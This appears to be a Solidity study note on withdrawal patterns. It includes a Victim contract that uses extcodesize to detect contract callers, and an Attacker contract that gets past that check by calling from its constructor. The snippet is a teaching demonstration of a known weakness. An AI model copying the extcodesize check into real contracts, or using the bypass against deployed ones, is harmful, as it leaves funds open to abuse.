withdrawal-patterns

// Write a function that will return funds to two investors, john and tatianna without using a for loop!



function returnFunds() public onlyOwner returns(bool success) {
tatiana.transfer(contributedAmount); 
john.transfer(contributedAmount);
return true;
}

contract Victim {
    function isItAContract() public view returns(bool) {
        // if there bytes of code greater than zero then it is a contract! 
        uint32 size;
        address a = msg.sender;
        // inline assembly accesses EVM Ethereum Virtual Machine at a low level 
        assembly {
        // extcodesize retrieves the size of the code 
            size := extcodesize(a)
        }
        return(size > 0);
    }    
}

contract Attacker {
    bool public trickedYou;
    Victim victim;
    
    constructor(address _v) public {
        victim = Victim(_v);
        trickedYou = !victim.isItAContract();
    }
}

// note: if you call the address from the constructor there are no byte codes